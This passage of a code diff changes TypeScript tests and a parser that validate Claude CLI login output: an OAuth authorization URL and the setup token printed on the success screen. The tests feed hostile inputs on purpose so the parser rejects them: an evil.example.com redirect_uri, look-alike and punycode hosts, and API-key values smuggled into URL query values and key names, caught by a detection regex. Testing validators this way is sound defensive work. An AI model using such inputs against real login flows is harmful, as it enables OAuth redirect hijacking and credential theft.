+const CODE_CHALLENGE = "E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM";
+const STATE = "Xy7Kd2Pq9Rn4Vb8Lf1Mw6Zc3Hj0Tg5Us";
+const SCOPE = "org:create_api_key user:profile";
+
+// The query of a well-formed authorization URL. The `redirect_uri` and the
+// `scope` are percent-encoded the way the CLI emits them; the parser decodes and
+// validates each value.
+const QUERY = [
+  `client_id=${CLIENT_ID}`,
+  `code=${CODE}`,
+  `code_challenge=${CODE_CHALLENGE}`,
+  "code_challenge_method=S256",
+  `redirect_uri=${encodeURIComponent(SETUP_TOKEN_REDIRECT_URI)}`,
+  "response_type=code",
+  `scope=${encodeURIComponent(SCOPE)}`,
+  `state=${STATE}`,
+].join("&");
+
+// The two observed authorization URLs. `claude` 2.1.19 emits the `claude.ai`
+// URL; `claude` 2.1.205 and 2.1.226 emit the `claude.com` URL.
+const CLAUDE_AI_URL = `https://claude.ai/oauth/authorize?${QUERY}`;
+const CLAUDE_COM_URL = `https://claude.com/cai/oauth/authorize?${QUERY}`;
+
+// The default URL for the credential-parser regression tests below.
+const VALID_URL = CLAUDE_COM_URL;
 
 // The URL preamble line and the browser-code prompt line, exactly as the
 // fixture records them.
@@ -56,28 +74,66 @@ function osc8Hyperlink(url: string, display: string): string {
   return `${ESC}]8;;${url}${ESC}\\${display}${ESC}]8;;${ESC}\\`;
 }
 
+// Joins `words` with a Cursor Horizontal Absolute (CHA) sequence. The live
+// Claude login UI lays out each word at an absolute column with a CHA sequence
+// instead of a literal space, so this reproduces one Ink-rendered line. The
+// column number does not matter to the parser, so this uses a fixed number. The
+// parser must render each CHA sequence as a space to read the line.
+function chaSpaced(words: string[]): string {
+  return words.join("\x1b[9G");
+}
+
+// Wraps a string into physical lines of at most `width` characters, joined with
+// a line feed and no space at the wrap. This reproduces the `claude` 2.1.19 hard
+// line wrap of the plain-text authorization URL.
+function hardWrap(text: string, width: number): string {
+  const lines: string[] = [];
+  for (let i = 0; i < text.length; i += width) {
+    lines.push(text.slice(i, i + width));
+  }
+  return lines.join("\n");
+}
+
 describe("parseSetupTokenPrompt", () => {
-  it("returns the exact URL and prompt from a complete output", () => {
-    const result = parseSetupTokenPrompt(completeOutput(VALID_URL));
+  it("returns the exact claude.com URL and prompt from a complete output", () => {
+    const result = parseSetupTokenPrompt(completeOutput(CLAUDE_COM_URL));
     expect(result).not.toBeNull();
-    expect(result?.url).toBe(VALID_URL);
+    expect(result?.url).toBe(CLAUDE_COM_URL);
+    expect(result?.prompt).toBe(SETUP_TOKEN_PROMPT);
+  });
+
+  it("returns the exact claude.ai URL and prompt from a complete output", () => {
+    const result = parseSetupTokenPrompt(completeOutput(CLAUDE_AI_URL));
+    expect(result).not.toBeNull();
+    expect(result?.url).toBe(CLAUDE_AI_URL);
+    expect(result?.prompt).toBe(SETUP_TOKEN_PROMPT);
+  });
+
+  it("reassembles the claude.ai URL from the 2.1.19 hard-wrapped plain-text form", () => {
+    // `claude` 2.1.19 emits the URL as plain text with a hard line wrap and no
+    // OSC 8 hyperlink. The parser joins the URL-character-only physical lines and
+    // validates only the final reassembled string.
+    const wrapped = hardWrap(CLAUDE_AI_URL, 64);
+    expect(wrapped).toContain("\n");
+    const text = [PREAMBLE_LINE, wrapped, PROMPT_LINE].join("\n");
+    const result = parseSetupTokenPrompt(text);
+    expect(result).not.toBeNull();
+    expect(result?.url).toBe(CLAUDE_AI_URL);
     expect(result?.prompt).toBe(SETUP_TOKEN_PROMPT);
   });
 
   it("returns the URL when the output arrives split across chunks", () => {
-    // The streaming caller accumulates chunks and re-parses the whole buffer.
-    // The first chunk holds a partial URL, so the parser returns null. The joined
-    // buffer holds the whole prompt, so the parser returns the URL.
-    const chunkA = ["Opening browser to sign in…", PREAMBLE_LINE, "https://claude.com/cai/oauth/aut"].join(
-      "\n",
-    );
-    const chunkB = ["horize?client_id=cid-000&code=redacted&code_challenge=chal-000&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fclaude.com%2Fcallback&response_type=code&scope=user%3Ainference&state=state-000", PROMPT_LINE, ""].join(
+    // The streaming caller accumulates chunks and re-parses the whole buffer. The
+    // chunk boundary falls inside the URL token with no line break, so the joined
+    // buffer holds the whole URL on one line.
+    const chunkA = ["Opening browser to sign in…", PREAMBLE_LINE, CLAUDE_COM_URL.slice(0, 40)].join(
       "\n",
     );
+    const chunkB = [`${CLAUDE_COM_URL.slice(40)}`, PROMPT_LINE, ""].join("\n");
     expect(parseSetupTokenPrompt(chunkA)).toBeNull();
     const joined = parseSetupTokenPrompt(chunkA + chunkB);
     expect(joined).not.toBeNull();
-    expect(joined?.url).toBe(VALID_URL);
+    expect(joined?.url).toBe(CLAUDE_COM_URL);
     expect(joined?.prompt).toBe(SETUP_TOKEN_PROMPT);
   });
 
@@ -86,48 +142,205 @@ describe("parseSetupTokenPrompt", () => {
     const reset = "\x1b[0m";
     // The display text wraps across two lines and truncates the URL. The parser
     // must ignore it and read the URI field of the hyperlink.
-    const wrappedDisplay = "https://claude.com/cai/oauth/aut\nhorize?client_id=cid-000&code=…";
+    const wrappedDisplay = "https://claude.com/cai/oauth/aut\nhorize?client_id=…";
     const text = [
       `${cyan}Opening browser to sign in…${reset}`,
       PREAMBLE_LINE,
-      `${cyan}${osc8Hyperlink(VALID_URL, wrappedDisplay)}${reset}`,
+      `${cyan}${osc8Hyperlink(CLAUDE_COM_URL, wrappedDisplay)}${reset}`,
       `${cyan}${PROMPT_LINE}${reset}`,
     ].join("\n");
     const result = parseSetupTokenPrompt(text);
     expect(result).not.toBeNull();
-    expect(result?.url).toBe(VALID_URL);
+    expect(result?.url).toBe(CLAUDE_COM_URL);
     expect(result?.prompt).toBe(SETUP_TOKEN_PROMPT);
   });
 
-  it("returns null for a wrong origin", () => {
-    const badOrigin = VALID_URL.replace("https://claude.com", "https://claude.example.com");
-    expect(parseSetupTokenPrompt(completeOutput(badOrigin))).toBeNull();
+  it("returns null for a wrong host", () => {
+    const badHost = CLAUDE_COM_URL.replace("https://claude.com", "https://claude.example.com");
+    expect(parseSetupTokenPrompt(completeOutput(badHost))).toBeNull();
   });
 
-  it("returns null for a wrong path", () => {
-    const badPath = VALID_URL.replace(SETUP_TOKEN_URL_PATH, "/cai/oauth/authorise");
-    expect(parseSetupTokenPrompt(completeOutput(badPath))).toBeNull();
+  it("returns null for a mixed-case host spelling", () => {
+    // The raw candidate must start with the exact lowercase host prefix, so a
+    // mixed-case host cannot bind even though the URL class lowercases the host.
+    const mixedCase = CLAUDE_AI_URL.replace("https://claude.ai", "https://Claude.AI");
+    expect(parseSetupTokenPrompt(completeOutput(mixedCase))).toBeNull();
+  });
+
+  it("returns null for an explicit default :443 port on the host", () => {
+    const withPort = CLAUDE_AI_URL.replace("https://claude.ai/", "https://claude.ai:443/");
+    expect(parseSetupTokenPrompt(completeOutput(withPort))).toBeNull();
+  });
+
+  it("returns null for a userinfo prefix on the host", () => {
+    const withUserinfo = CLAUDE_AI_URL.replace("https://claude.ai/", "https://user@claude.ai/");
+    expect(parseSetupTokenPrompt(completeOutput(withUserinfo))).toBeNull();
+  });
+
+  it("returns null for a punycode look-alike host", () => {
+    // A punycode host does not start with the exact lowercase prefix, so the
+    // parser rejects it before the URL parse.
+    const punycode = "https://xn--clade-9wa.ai/oauth/authorize?" + QUERY;
+    expect(parseSetupTokenPrompt(completeOutput(punycode))).toBeNull();
+  });
+
+  it("returns null for the claude.ai host with the claude.com path", () => {
+    const crossPair = `https://claude.ai/cai/oauth/authorize?${QUERY}`;
+    expect(parseSetupTokenPrompt(completeOutput(crossPair))).toBeNull();
+  });
+
+  it("returns null for the claude.com host with the claude.ai path", () => {
+    const crossPair = `https://claude.com/oauth/authorize?${QUERY}`;
+    expect(parseSetupTokenPrompt(completeOutput(crossPair))).toBeNull();
   });
 
   it("returns null for a missing query key", () => {
-    const missingKey = VALID_URL.replace("&state=state-000", "");
+    const missingKey = CLAUDE_COM_URL.replace(`&state=${STATE}`, "");
     expect(parseSetupTokenPrompt(completeOutput(missingKey))).toBeNull();
   });
 
-  it("returns null for an extra query key", () => {
-    const extraKey = `${VALID_URL}&extra=1`;
-    expect(parseSetupTokenPrompt(completeOutput(extraKey))).toBeNull();
+  it("returns null for a duplicate query key", () => {
+    const duplicate = `${CLAUDE_COM_URL}&state=${STATE}`;
+    expect(parseSetupTokenPrompt(completeOutput(duplicate))).toBeNull();
+  });
+
+  it("returns null for an unexpected added key with a valid name", () => {
+    // The parser accepts at most four added keys, so a first added key still
+    // needs a valid name; a valid name alone does not fail. This test proves a
+    // fifth added key fails the count bound.
+    const fiveAdded = `${CLAUDE_COM_URL}&a1=1&b2=2&c3=3&d4=4&e5=5`;
+    expect(parseSetupTokenPrompt(completeOutput(fiveAdded))).toBeNull();
+  });
+
+  it("returns the URL when it carries up to four valid added keys", () => {
+    const fourAdded = `${CLAUDE_COM_URL}&a1=1&b2=2&c3=3&d4=4`;
+    const result = parseSetupTokenPrompt(completeOutput(fourAdded));
+    expect(result).not.toBeNull();
+    expect(result?.url).toBe(fourAdded);
+  });
+
+  it("returns null for an added key with an invalid name", () => {
+    const badName = `${CLAUDE_COM_URL}&Extra=1`;
+    expect(parseSetupTokenPrompt(completeOutput(badName))).toBeNull();
+  });
+
+  it("returns null for an added key value over the length cap", () => {
+    const longValue = `${CLAUDE_COM_URL}&extra=${"a".repeat(257)}`;
+    expect(parseSetupTokenPrompt(completeOutput(longValue))).toBeNull();
+  });
+
+  it("returns null for a duplicate added key", () => {
+    const dupAdded = `${CLAUDE_COM_URL}&extra=1&extra=2`;
+    expect(parseSetupTokenPrompt(completeOutput(dupAdded))).toBeNull();
+  });
+
+  it("returns null for an invalid code_challenge_method", () => {
+    const badMethod = CLAUDE_COM_URL.replace("code_challenge_method=S256", "code_challenge_method=plain");
+    expect(parseSetupTokenPrompt(completeOutput(badMethod))).toBeNull();
+  });
+
+  it("returns null for an invalid response_type", () => {
+    const badType = CLAUDE_COM_URL.replace("response_type=code", "response_type=token");
+    expect(parseSetupTokenPrompt(completeOutput(badType))).toBeNull();
+  });
+
+  it("accepts a short four-character code value", () => {
+    // A real `claude` 2.1.19 capture measured a four-character `code` value, so
+    // the parser accepts it.
+    const shortCode = CLAUDE_AI_URL.replace(`code=${CODE}`, "code=wZ9x");
+    const result = parseSetupTokenPrompt(completeOutput(shortCode));
+    expect(result).not.toBeNull();
+    expect(result?.url).toBe(shortCode);
+  });
+
+  it("returns null for an empty code value", () => {
+    const emptyCode = CLAUDE_COM_URL.replace(`code=${CODE}`, "code=");
+    expect(parseSetupTokenPrompt(completeOutput(emptyCode))).toBeNull();
+  });
+
+  it("returns null for a code_challenge that is too short", () => {
+    const shortChallenge = CLAUDE_COM_URL.replace(`code_challenge=${CODE_CHALLENGE}`, "code_challenge=tooshort");
+    expect(parseSetupTokenPrompt(completeOutput(shortChallenge))).toBeNull();
+  });
+
+  it("returns null for a state that is too short", () => {
+    const shortState = CLAUDE_COM_URL.replace(`state=${STATE}`, "state=short");
+    expect(parseSetupTokenPrompt(completeOutput(shortState))).toBeNull();
+  });
+
+  it("returns null for a client_id with an invalid character", () => {
+    const badClientId = CLAUDE_COM_URL.replace(`client_id=${CLIENT_ID}`, "client_id=bad%2Fid");
+    expect(parseSetupTokenPrompt(completeOutput(badClientId))).toBeNull();
+  });
+
+  it("returns null for a scope with too many tokens", () => {
+    const scope = encodeURIComponent("a b c d e f g h i");
+    const manyScope = CLAUDE_COM_URL.replace(`scope=${encodeURIComponent(SCOPE)}`, `scope=${scope}`);
+    expect(parseSetupTokenPrompt(completeOutput(manyScope))).toBeNull();
+  });
+
+  it("returns null for a scope with an invalid token character", () => {
+    const scope = encodeURIComponent("user:profile bad/token");
+    const badScope = CLAUDE_COM_URL.replace(`scope=${encodeURIComponent(SCOPE)}`, `scope=${scope}`);
+    expect(parseSetupTokenPrompt(completeOutput(badScope))).toBeNull();
+  });
+
+  it("returns null for a redirect_uri with a wrong host", () => {
+    const badRedirect = encodeURIComponent("https://evil.example.com/oauth/code/callback");
+    const url = CLAUDE_COM_URL.replace(
+      `redirect_uri=${encodeURIComponent(SETUP_TOKEN_REDIRECT_URI)}`,
+      `redirect_uri=${badRedirect}`,
+    );
+    expect(parseSetupTokenPrompt(completeOutput(url))).toBeNull();
+  });
+
+  it("returns null for a redirect_uri with a stray query", () => {
+    const badRedirect = encodeURIComponent(`${SETUP_TOKEN_REDIRECT_URI}?next=/`);
+    const url = CLAUDE_COM_URL.replace(
+      `redirect_uri=${encodeURIComponent(SETUP_TOKEN_REDIRECT_URI)}`,
+      `redirect_uri=${badRedirect}`,
+    );
+    expect(parseSetupTokenPrompt(completeOutput(url))).toBeNull();
   });
 
   it("returns null for a URL with a fragment", () => {
-    const withFragment = `${VALID_URL}#section`;
+    const withFragment = `${CLAUDE_COM_URL}#section`;
     expect(parseSetupTokenPrompt(completeOutput(withFragment))).toBeNull();
   });
 
+  it("returns null for a raw sk-ant- value in a query value", () => {
+    const withKey = CLAUDE_COM_URL.replace(`code=${CODE}`, "code=sk-ant-oat01-abc12345");
+    expect(parseSetupTokenPrompt(completeOutput(withKey))).toBeNull();
+  });
+
+  it("returns null for a percent-encoded sk-ant- value in a query value", () => {
+    // The raw candidate hides the prefix behind `%2D`, so only the decoded value
+    // check catches it.
+    const withKey = CLAUDE_COM_URL.replace(`code=${CODE}`, "code=sk%2Dant%2Doat01%2Dabc12345");
+    expect(parseSetupTokenPrompt(completeOutput(withKey))).toBeNull();
+  });
+
+  it("returns null for a literal sk-ant- value in an added query key", () => {
+    // The secret rides inside a query name, not a value. The added-key name is
+    // valid in shape, so only the decoded-key check catches the prefix and the
+    // parser returns no accepted prompt result.
+    const withKey = `${CLAUDE_COM_URL}&sk-ant-redacted=x`;
+    expect(parseSetupTokenPrompt(completeOutput(withKey))).toBeNull();
+  });
+
+  it("returns null for a percent-encoded sk-ant- value in an added query key", () => {
+    // The raw candidate hides the prefix behind `%2D`, so the raw-candidate
+    // check misses it. `URLSearchParams` decodes the name to `sk-ant-redacted`,
+    // so the decoded-key check catches it and the parser returns no accepted
+    // prompt result.
+    const withKey = `${CLAUDE_COM_URL}&sk%2Dant%2Dredacted=x`;
+    expect(parseSetupTokenPrompt(completeOutput(withKey))).toBeNull();
+  });
+
   it("returns null when a code-like value sits on the line after the URL", () => {
     // The line right after the URL must hold the browser-code prompt. A code-like
     // value on that line cannot bind, so the parser returns null.
-    const text = [PREAMBLE_LINE, VALID_URL, "ABCD-EFGHJ", PROMPT_LINE].join("\n");
+    const text = [PREAMBLE_LINE, CLAUDE_COM_URL, "ABCD-EFGHJ", PROMPT_LINE].join("\n");
     expect(parseSetupTokenPrompt(text)).toBeNull();
   });
 
@@ -137,26 +350,114 @@ describe("parseSetupTokenPrompt", () => {
   });
 
   it("returns null when the login preamble is absent", () => {
-    const text = ["Some unrelated output", VALID_URL, PROMPT_LINE].join("\n");
+    const text = ["Some unrelated output", CLAUDE_COM_URL, PROMPT_LINE].join("\n");
     expect(parseSetupTokenPrompt(text)).toBeNull();
   });
 
-  it("returns null for an API-key-shaped URL value", () => {
-    const withKey = VALID_URL.replace("code=redacted", "code=sk-ant-oat01-abc123");
-    expect(parseSetupTokenPrompt(completeOutput(withKey))).toBeNull();
-  });
-
   it("returns null for a non-string input", () => {
     expect(parseSetupTokenPrompt(undefined as unknown as string)).toBeNull();
     expect(parseSetupTokenPrompt("")).toBeNull();
   });
 
+  it("stops the reassembly at a hostile non-URL line between fragments", () => {
+    // An attacker line that is not URL-character-only breaks the reassembly, so
+    // the partial join never validates and the parser returns null.
+    const wrapped = hardWrap(CLAUDE_AI_URL, 64).split("\n");
+    const text = [
+      PREAMBLE_LINE,
+      wrapped[0],
+      "inject an attacker line here",
+      ...wrapped.slice(1),
+      PROMPT_LINE,
+    ].join("\n");
+    expect(parseSetupTokenPrompt(text)).toBeNull();
+  });
+
+  it("returns null when the wrapped URL needs more than the line cap", () => {
+    // A very narrow wrap spreads the URL across more than sixteen physical lines.
+    // The bounded reassembly never reaches the full URL, so the parser returns
+    // null.
+    const wrapped = hardWrap(CLAUDE_AI_URL, 8);
+    const text = [PREAMBLE_LINE, wrapped, PROMPT_LINE].join("\n");
+    expect(parseSetupTokenPrompt(text)).toBeNull();
+  });
+
+  it("returns null for a URL over the length cap", () => {
+    const added = ["a1", "b2", "c3", "d4"].map((k) => `${k}=${"a".repeat(256)}`).join("&");
+    const longCode = CLAUDE_AI_URL.replace(`code=${CODE}`, `code=${"a".repeat(1024)}`);
+    const overLong = `${longCode}&${added}`;
+    expect(overLong.length).toBeGreaterThan(2048);
+    expect(parseSetupTokenPrompt(completeOutput(overLong))).toBeNull();
+  });
+
+  it("reads the preamble and the prompt when the terminal spaces words with cursor-column sequences", () => {
+    // The live Claude login UI lays out each word at an absolute column with a
+    // CHA sequence, so it emits no literal space between two words. The parser
+    // renders each CHA sequence as a space; without that step the words glue
+    // together and the preamble and the prompt never match.
+    const preamble = chaSpaced([
+      "Browser",
+      "didn't",
+      "open?",
+      "Use",
+      "the",
+      "url",
+      "below",
+      "to",
+      "sign",
+      "in",
+      "(c",
+      "to",
+      "copy)",
+    ]);
+    const prompt = chaSpaced(["Paste", "code", "here", "if", "prompted", ">"]);
+    const text = [preamble, CLAUDE_COM_URL, prompt].join("\n");
+    const result = parseSetupTokenPrompt(text);
+    expect(result).not.toBeNull();
+    expect(result?.url).toBe(CLAUDE_COM_URL);
+    expect(result?.prompt).toBe(SETUP_TOKEN_PROMPT);
+  });
+
+  it("binds the prompt after the terminal repeats the URL once per wrapped display row", () => {
+    // The terminal can emit one full URL line per wrapped display row, so it
+    // repeats the same full authorization URL on a few consecutive lines. The
+    // parser accepts the first full URL line and skips the repeated lines, then
+    // binds the prompt on the line after the URL block.
+    const text = [
+      "Browser didn't open? Use the url below to sign in (c to copy)",
+      CLAUDE_COM_URL,
+      CLAUDE_COM_URL,
+      CLAUDE_COM_URL,
+      "",
+      "Paste code here if prompted >",
+    ].join("\n");
+    const result = parseSetupTokenPrompt(text);
+    expect(result).not.toBeNull();
+    expect(result?.url).toBe(CLAUDE_COM_URL);
+    expect(result?.prompt).toBe(SETUP_TOKEN_PROMPT);
+  });
+
+  it("returns null when an unrelated line sits after the URL block", () => {
+    // A non-blank line that is neither the prompt nor a repeat of the URL breaks
+    // the bind, so a stray value between the URL and the prompt cannot pass.
+    const text = [
+      "Browser didn't open? Use the url below to sign in (c to copy)",
+      CLAUDE_COM_URL,
+      CLAUDE_COM_URL,
+      "an unrelated line",
+      "Paste code here if prompted >",
+    ].join("\n");
+    expect(parseSetupTokenPrompt(text)).toBeNull();
+  });
+
   it("keeps its contract in sync with the characterization fixture", () => {
-    // The fixture documents the prompt text, the URL path, and the query keys.
-    // This test fails if the parser contract drifts from the fixture.
+    // The fixture documents the prompt text, the two authorization URLs, and the
+    // query keys. This test fails if the parser contract drifts from the fixture.
     const fixture = readFixture("setup-token.md");
     expect(fixture).toContain(SETUP_TOKEN_PROMPT);
-    expect(fixture).toContain(SETUP_TOKEN_URL_PATH);
+    for (const url of SETUP_TOKEN_AUTH_URLS) {
+      expect(fixture).toContain(url);
+    }
     for (const key of SETUP_TOKEN_URL_QUERY_KEYS) {
       expect(fixture).toContain(`\`${key}\``);
     }
@@ -171,9 +472,12 @@ const TOKEN_FRAGMENT_A = `${SETUP_TOKEN_PREFIX}AAAABBBBCCCCDDDDEEEE1111`;
 const TOKEN_FRAGMENT_B = "2222FFFFGGGG_HHHH-IIII";
 const FULL_TOKEN = `${TOKEN_FRAGMENT_A}${TOKEN_FRAGMENT_B}`;
 
-// Builds the success screen around a token body. The body holds the token
-// fragment lines, already split the way the terminal wraps them.
-function successScreen(body: string[]): string {
+// Builds the success screen around a token body, joined with `delimiter`. The
+// body holds the token fragment lines, already split the way the terminal wraps
+// them. The real terminal redraw joins the anchor lines and the token with a
+// bare carriage return, or a CRLF pair, instead of a line feed, so the tests
+// vary the delimiter to prove the parser reads each real record shape.
+function successScreenJoined(body: string[], delimiter: string): string {
   return [
     "✓ Long-lived authentication token created successfully!",
     "",
@@ -184,7 +488,12 @@ function successScreen(body: string[]): string {
     SETUP_TOKEN_AFTER_ANCHOR,
     "",
     "Use this token by setting: export CLAUDE_CODE_OAUTH_TOKEN=<token>",
-  ].join("\n");
+  ].join(delimiter);
+}
+
+// Builds the success screen around a token body, joined with line feeds.
+function successScreen(body: string[]): string {
+  return successScreenJoined(body, "\n");
 }
 
 describe("parseSetupTokenCredential", () => {
@@ -198,6 +507,58 @@ describe("parseSetupTokenCredential", () => {
     expect(parseSetupTokenCredential(text)).toBe(FULL_TOKEN);
   });
 
+  it("returns the token from a bare carriage-return success record", () => {
+    // The real terminal redraw joins the before-anchor line, the token, and the
+    // after-anchor line with a bare carriage return. The parser canonicalizes
+    // each bare carriage return to a line feed before the split, so each anchor
+    // line and the token land on their own lines and the token binds.
+    const text = successScreenJoined([FULL_TOKEN], "\r");
+    expect(parseSetupTokenCredential(text)).toBe(FULL_TOKEN);
+  });
+
+  it("returns the token from a CRLF-delimited success record", () => {
+    // A terminal that ends each line with a carriage return and a line feed
+    // must parse the same as a plain line-feed record. The parser maps each
+    // CRLF pair to one line feed, so no empty line splits between the anchors.
+    const text = successScreenJoined([FULL_TOKEN], "\r\n");
+    expect(parseSetupTokenCredential(text)).toBe(FULL_TOKEN);
+  });
+
+  it("returns the de-wrapped token from a bare carriage-return wrapped record", () => {
+    // The terminal wraps the token across two physical lines and joins every
+    // line with a bare carriage return. The parser canonicalizes the delimiter,
+    // then joins the two fragment lines into the full token.
+    const text = successScreenJoined([TOKEN_FRAGMENT_A, TOKEN_FRAGMENT_B], "\r");
+    expect(parseSetupTokenCredential(text)).toBe(FULL_TOKEN);
+  });
+
+  it("returns null for duplicate anchors in a bare carriage-return record", () => {
+    // Canonicalization keeps the duplicate-anchor guard closed. Two success
+    // blocks joined by a bare carriage return still fail closed.
+    const one = successScreenJoined([FULL_TOKEN], "\r");
+    const text = `${one}\r${one}`;
+    expect(parseSetupTokenCredential(text)).toBeNull();
+  });
+
+  it("returns null for junk between the anchors in a bare carriage-return record", () => {
+    // A stray prose line between the anchors fails the fragment test, so the
+    // parser fails closed after canonicalization.
+    const text = successScreenJoined([TOKEN_FRAGMENT_A, "a stray note", TOKEN_FRAGMENT_B], "\r");
+    expect(parseSetupTokenCredential(text)).toBeNull();
+  });
+
+  it("returns null for a wrong token prefix in a bare carriage-return record", () => {
+    const text = successScreenJoined(["sk-ant-api03-AAAABBBBCCCCDDDDEEEE1111"], "\r");
+    expect(parseSetupTokenCredential(text)).toBeNull();
+  });
+
+  it("returns null for extra token text in a bare carriage-return record", () => {
+    // The token line holds the token and extra prose. The parser reads only a
+    // token fragment on each line, so canonicalization does not open a gap.
+    const text = successScreenJoined([`${FULL_TOKEN} keep this secret`], "\r");
+    expect(parseSetupTokenCredential(text)).toBeNull();
+  });
+
   it("reads the token through ANSI color sequences", () => {
     const cyan = "\x1b[36m";
     const reset = "\x1b[0m";
@@ -205,6 +566,38 @@ describe("parseSetupTokenCredential", () => {
     expect(parseSetupTokenCredential(text)).toBe(FULL_TOKEN);
   });
 
+  it("reads the token when the terminal spaces the anchor words with cursor-column sequences", () => {
+    // The success screen renders the anchor lines the same way as the prompt: it
+    // lays out each word at an absolute column with a CHA sequence. The parser
+    // renders each CHA sequence as a space, so the anchor lines match the exact
+    // anchor text and the token binds between them.
+    const beforeAnchor = chaSpaced([
+      "Your",
+      "OAuth",
+      "token",
+      "(valid",
+      "for",
+      "1",
+      "year):",
+    ]);
+    const afterAnchor = chaSpaced([
+      "Store",
+      "this",
+      "token",
+      "securely.",
+      "You",
+      "won't",
+      "be",
+      "able",
+      "to",
+      "see",
+      "it",
+      "again.",
+    ]);
+    const text = [beforeAnchor, "", TOKEN_FRAGMENT_A, TOKEN_FRAGMENT_B, "", afterAnchor].join("\n");
+    expect(parseSetupTokenCredential(text)).toBe(FULL_TOKEN);
+  });
+
   it("returns null for a token-shaped value before submit", () => {
     // The prompt screen holds a token-shaped value but no success anchors. The
     // parser fails closed, so an early value never delivers.
diff --git a/packages/adapters/claude-local/src/server/setup-token-parse.ts b/packages/adapters/claude-local/src/server/setup-token-parse.ts
index 0ad6b14bd50..d845f5ab348 100644
--- a/packages/adapters/claude-local/src/server/setup-token-parse.ts
+++ b/packages/adapters/claude-local/src/server/setup-token-parse.ts
@@ -3,12 +3,19 @@
 // browser-code prompt, or null. `parseSetupTokenCredential` returns the minted
 // OAuth token from the success screen, or null.
 //
-// Security (strict validation): the prompt parser accepts only the exact origin
-// and path of the authorization URL, and only the exact set of query keys. It
-// rejects any other origin, path, query, or fragment. It binds the browser-code
-// prompt to a dedicated line right after the URL line, so an unrelated code-like
-// value on the wrong line cannot form a prompt. It rejects an API-key-shaped
-// value inside the URL.
+// Security (shape validation): the prompt parser accepts an authorization URL
+// only when it matches one of the two observed origin-and-path pairs, carries
+// each required query key one time with a valid decoded value, and pins the
+// `redirect_uri` value to the one observed callback. It rejects a look-alike
+// host, userinfo, an explicit port, a fragment, a duplicate key, an unexpected
+// added key, an invalid value, and an API-key-shaped value in the raw URL or in
+// any decoded query value. Different Claude CLI versions render the URL two ways:
+// a single OSC 8 hyperlink, or plain text with a hard line wrap and no
+// hyperlink. The parser reassembles the wrapped plain-text URL from the physical
+// lines and validates only the final reassembled string, so the login works on
+// every CLI version that keeps this flow shape. It binds the browser-code prompt
+// to the dedicated line after the URL block; a repeated URL line, a code-like
+// value on the wrong line, or an unrelated line cannot form a prompt.
 //
 // The token parser binds the token to the exact success record: it requires the
 // before-anchor line and the after-anchor line, in that order, exactly one time
@@ -30,16 +37,36 @@ export interface SetupTokenPrompt {
 // exact constant on a match.
 export const SETUP_TOKEN_PROMPT = "Paste code here if prompted";
 
-// The one and only accepted authorization URL origin.
-export const SETUP_TOKEN_URL_ORIGIN = "https://claude.com";
+// The two accepted authorization URLs, each the exact origin plus path. The
+// parser accepts an origin-and-path pair only when it equals one of these two
+// strings. It does not accept the cross-product of the two hosts and the two
+// paths. `claude` 2.1.19 emits the first URL; `claude` 2.1.205 and 2.1.226 emit
+// the second URL.
+export const SETUP_TOKEN_AUTH_URLS = [
+  "https://claude.ai/oauth/authorize",
+  "https://claude.com/cai/oauth/authorize",
+] as const;
 
-// The one and only accepted authorization URL path.
-export const SETUP_TOKEN_URL_PATH = "/cai/oauth/authorize";
+// The lowercase host prefix of each accepted authorization URL. The parser
+// requires the raw URL candidate to start with one of these exact lowercase
+// prefixes before it parses the URL. This rejects a mixed-case host spelling, a
+// punycode host, and an explicit default `:443` port, because none of them start
+// with the exact lowercase `https://<host>/` prefix.
+const SETUP_TOKEN_AUTH_URL_PREFIXES = [
+  "https://claude.ai/",
+  "https://claude.com/",
+] as const;
 
-// The exact set of query keys of the authorization URL. The parser accepts the
-// URL only when its query keys equal this set: no missing key, no extra key, and
-// no duplicate key. The parser does not validate the query values, because the
-// values are the real OAuth PKCE parameters that the user must visit.
+// The one accepted `redirect_uri` value. The parser parses the decoded
+// `redirect_uri` value on its own and pins it to this exact callback, with no
+// userinfo, no port, no query, and no fragment. The 2.1.226 live capture grounds
+// this host; the contract keeps a single pin until sanitized 2.1.19 evidence
+// proves another real callback.
+export const SETUP_TOKEN_REDIRECT_URI = "https://platform.claude.com/oauth/code/callback";
+
+// The required query keys of the authorization URL. The parser requires each key
+// one time with a valid decoded value. It rejects a missing key, a duplicate
+// key, and an invalid value.
 export const SETUP_TOKEN_URL_QUERY_KEYS = [
   "client_id",
   "code",
@@ -51,6 +78,55 @@ export const SETUP_TOKEN_URL_QUERY_KEYS = [
   "state",
 ] as const;
 
+// The set form of the required query keys. The parser uses it to sort a key into
+// a required key or an added key.
+const SETUP_TOKEN_CORE_KEY_SET = new Set<string>(SETUP_TOKEN_URL_QUERY_KEYS);
+
+// The value validators for the required query keys. Each pattern binds the whole
+// decoded value. The parser rejects a value that does not match.
+const CLIENT_ID_RE = /^[A-Za-z0-9._~-]{1,128}$/;
+// The `code` value of the `claude` 2.1.19 authorization request is a short
+// opaque token. A real 2.1.19 capture measured a 4-character value, so the
+// minimum length is one character. The character class and the 1024-character
+// maximum bound the value.
+const CODE_RE = /^[A-Za-z0-9._~-]{1,1024}$/;
+const CODE_CHALLENGE_RE = /^[A-Za-z0-9_-]{43,128}$/;
+const STATE_RE = /^[A-Za-z0-9_-]{16,256}$/;
+// One `scope` token. The `scope` value is one to eight space-separated tokens.
+const SCOPE_TOKEN_RE = /^[A-Za-z0-9:._-]{1,64}$/;
+
+// The name of an added query key. An added key is any key that is not a required
+// key. The parser accepts at most four added keys, each with a name that matches
+// this pattern.
+const ADDED_KEY_NAME_RE = /^[a-z][a-z0-9_-]{0,63}$/;
+
+// The decoded value of an added query key. The parser accepts at most 256
+// printable ASCII characters.
+const ADDED_VALUE_RE = /^[\x20-\x7E]{0,256}$/;
+
+// An API-key prefix. The Claude setup token and API key start with `sk-ant-`.
+// The parser rejects the raw URL candidate and any decoded query value that
+// holds this prefix, so a secret cannot ride inside the authorization URL.
+const API_KEY_RE = /sk-ant-/i;
+
+// The maximum number of added query keys. The parser accepts at most four added
+// keys, so the URL holds at most twelve keys in total.
+const MAX_ADDED_KEYS = 4;
+
+// The maximum number of `scope` tokens.
+const MAX_SCOPE_TOKENS = 8;
+
+// The maximum length of the whole `scope` value.
+const MAX_SCOPE_LENGTH = 512;
+
+// The maximum length of the reassembled authorization URL. The parser rejects a
+// candidate longer than this cap.
+const MAX_URL_LENGTH = 2048;
+
+// The characters that a URL can hold. A physical line that reassembles into the
+// wrapped URL holds only these characters after a trim.
